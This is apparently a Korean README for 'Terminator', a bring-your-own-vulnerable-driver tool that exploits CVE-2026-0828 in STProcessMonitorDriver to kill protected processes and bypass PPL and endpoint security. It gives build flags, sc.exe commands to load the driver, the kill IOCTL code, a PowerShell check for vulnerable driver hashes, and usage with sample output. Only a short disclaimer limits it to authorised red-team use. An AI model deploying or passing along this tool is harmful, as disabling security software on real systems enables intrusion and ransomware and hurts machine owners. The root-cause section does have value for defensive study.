
CVE-2026-0828(BYOVD)을 악용하여 취약한 서명된 드라이버를 통해 보호된 프로세스를 종료하고 PPL 및 엔드포인트 보안을 우회하는 커널 모드 프로세스 킬러
취약한 드라이버(CVE-2026-0828)를 활용하여 사용자 모드에서 보호된 프로세스를 종료하는 커널 모드 프로세스 종료 도구입니다.
Windows에서 MinGW-w64(GCC)가 필요합니다. 다음으로 컴파일하세요:
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
플래그 설명:
| 플래그 | 설명 |
|---|---|
--% | PowerShell 중지-구문 분석 토큰(인수를 g++에 그대로 전달) |
-Oz | 최소 크기로 최적화 |
-ffunction-sections / -fdata-sections | 각 함수/데이터를 별도의 섹션에 배치 |
-static / -static-libgcc / -static-libstdc++ | 정적 링크(런타임 DLL 의존성 없음) |
-Wl,--gc-sections | 링커가 사용하지 않는 섹션을 가비지 컬렉션 |
-W | 경고 활성화 |
출력: 독립 실행형 terminator.exe (약 20-30KB, stripped).
이 프로젝트는 검증되지 않은 IOCTL_KILL_PROCESS 핸들러를 노출하는 취약한 커널 드라이버(STProcessMonitorDriver)의 악용을 시연합니다. 이 핸들러는 권한이나 보호 메커니즘(PPL, EPROCESS 플래그 등)에 관계없이 임의의 프로세스 종료를 허용합니다.
| 구성 요소 | 설명 |
|---|---|
terminator.cpp | 프로세스를 열거하고 종료 IOCTL을 전송하는 사용자 모드 클라이언트 |
terminator.hpp | 프로세스 열거 및 종료를 위한 클래스 인터페이스 |
ProcessMonitorDriver.sys | 취약한 커널 드라이버(외부 제공, 포함되지 않음) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)를 통해 스냅샷 생성Process32First/Process32Next로 모든 프로세스 반복Terminator::ProcessKill()
\\.\STProcessMonitorDriver에 대한 핸들 열기IOCTL_KILL_PROCESS (0xB822200C) 전송취약한 드라이버 로드(관리자 권한 필요):
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
취약한 버전의 ProcessMonitorDriver.sys가 이미 서비스로 설치되어 실행 중인 경우(예: 정식 애플리케이션에서 제공), Terminator는 새 드라이버를 로드하지 않고 직접 연결할 수 있습니다.
서비스가 존재하고 실행 중인지 확인:
sc.exe query STProcessMonitor
드라이버 버전이 취약한지 확인(PowerShell):
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
서비스가 존재하고 취약한 버전으로 RUNNING 상태이면 드라이버 로드 단계를 건너뛰고 Terminator를 바로 실행하세요.
| 버전 | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
다른 버전도 영향을 받을 수 있습니다. 사용 전에 드라이버의 IOCTL 핸들러를 확인하세요.
terminator.exe -proc <process_name1> [process_name2] ...
예시:
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
취약점: 드라이버 STProcessMonitorDriver는 다음과 같은 IOCTL 핸들러(0xB822200C)를 등록합니다:
PsLookupProcessByProcessId → ZwTerminateProcess를 직접 호출SYSTEM 토큰)에서 실행되어 모든 사용자 모드 ACL을 우회영향: 드라이버에 접근할 수 있는 비관리자 사용자는 다음을 종료할 수 있습니다:
SeDebugPrivilege 요구 사항이 있는 프로세스근본 원인: ObReferenceObjectByHandle 검증 누락, SeSinglePrivilegeCheck(SeDebugPrivilege) 부재, 프로세스 개체 액세스 검사 없음.
이 도구는 승인된 보안 연구 및 레드팀 훈련 전용입니다.
소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 오용에 대해 책임을 지지 않습니다. 어떤 환경에서 배포하기 전에 서면 승인을 받았는지 확인하세요.
취약한 드라이버(
ProcessMonitorDriver.sys)는 데모 목적으로 의도적으로 결함이 있으며 프로덕션 환경에 절대 배포해서는 안 됩니다.